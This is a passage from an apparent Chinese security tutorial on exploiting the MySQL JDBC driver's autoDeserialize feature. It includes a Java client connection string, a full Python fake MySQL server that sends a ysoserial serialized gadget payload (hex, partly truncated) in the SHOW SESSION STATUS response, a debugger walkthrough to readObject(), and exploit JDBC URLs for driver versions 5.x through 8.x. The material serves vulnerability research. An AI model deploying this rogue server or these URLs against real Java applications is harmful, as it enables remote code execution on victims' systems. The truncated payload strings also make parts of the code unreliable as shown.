wireshark 抓包，观测一下流量，编写 Test 类内容如下 import java.sql.*; public class Test { public static void main(String[] args) throws Exception { Class.forName("com.mysql.jdbc.Driver"); String jdbc_url = "jdbc:mysql://192.168.116.129:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" + "&autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; Connection con = DriverManager.getConnection(jdbc_url, "root", "123123"); } } 通过 tcp.port == 3306 && mysql 来过滤协议我们需要用 python 脚本伪造的 MySQL 服务端需要伪造的是 Greeting 数据包 Response OK 、Response Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等，我们逐个来分析。首先是 greeting 数据包这里发送 greeting 数据包之后需要发送 Login 请求，Login 请求里面包含了 user 和 db 以及 password，在这之后才会返回 Response OK 的数据包 Login 的请求包在发送完 greeting 包之后会自动发送，所以我们只需要发送一段 greeting 数据包，返回一段 Response OK 数据包即可，Response OK 包如下继续往下，需要编写四个 Request Query 包的 Response 包后，才是 SHOW SESSION STATUS 响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来如此，构造出最后的 fake MySQL 服务端 import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower() def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data)) def get_payload_content(): #file文件的内容使用ysoserial生成的使用规则 java -jar ysoserial [common7那个] "calc" > a file= r'a' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs") else: print("open false") #calc payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e6 return payload_content # 主要逻辑 def run(): while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1])) # 1.先发送第一个问候报文 send_data(conn,greeting_data) while True: # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok receive_data(conn) send_data(conn,response_ok_data) #其他过程 data=receive_data(conn) #查询一些配置信息,其中会发送自己的版本号 if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a65 send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' # 为什么我加了EOF Packet 就无法正常运行呢？？ #获取payload payload_content=get_payload_content() #计算payload长度 payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] #计算数据包长度 data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e2053544 send_data(conn, payload) break if __name__ == '__main__': HOST ='0.0.0.0' PORT = 3309 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间 sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sk.bind((HOST, PORT)) sk.listen(1) print("start fake mysql server listening on {}:{}".format(HOST,PORT)) run() 在本地运行，并运行 JDBC 的连接代码再来看 Fake MySQL 服务端这边的响应，是能收到包，并且发包的；相当清晰调试分析在 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 下个断点，开始调试分析往下跟，先运行查询语句 SHOW SESSION STATUS，接着调用了 ResultSetUtil.resultSetToMap() ResultSetUtil.resultSetToMap() 调用了 getObject() 方法，第一处调用 getObject() 方法回返回 null，第二次调用时才会走到反序列化的代码逻辑里面。在调用 getObject() 方法中，判断 MySQL 的类型为 BLOB 后，就从 MySQL 服务端中获取对应的字节码数据从 MySQL 服务端获取到字节码数据后，判断 autoDeserialize 是否为 true、字节码数据是否为序列化对象等，最后调用 readObject() 触发反序列化漏洞不同 MySQL-JDBC-Driver 的 payload 8.x 如上述 Demo： "jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" + "&autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; 6.x 属性名不同，queryInterceptors 换为 statementInterceptors jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor >=5.1.11 包名中没有cj jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 5.x <= 5.1.10 同上，但需要连接后执行查询。 5.1.29 - 5.1.40 jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true 5.1.28 - 5.1.19 jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true 0x04 小结总体来说还是比较简单的一条链子，但是需要注意到需要将 MySQL 字段类型修改为 BLOB 才可以。

第2页第3页第4页第5页第6页第7页第8页第9页第10页第11页第12页第13页第14页第15页第16页第17页第18页第19页第20页第21页第22页第23页第24页第25页第26页第27页第28页第29页第30页第31页第32页第33页第34页第35页第36页第37页第38页第39页第40页第41页第42页第43页第44页第45页第46页第47页第48页第49页第50页第51页第52页第53页第54页第55页第56页第57页第58页第59页第60页第61页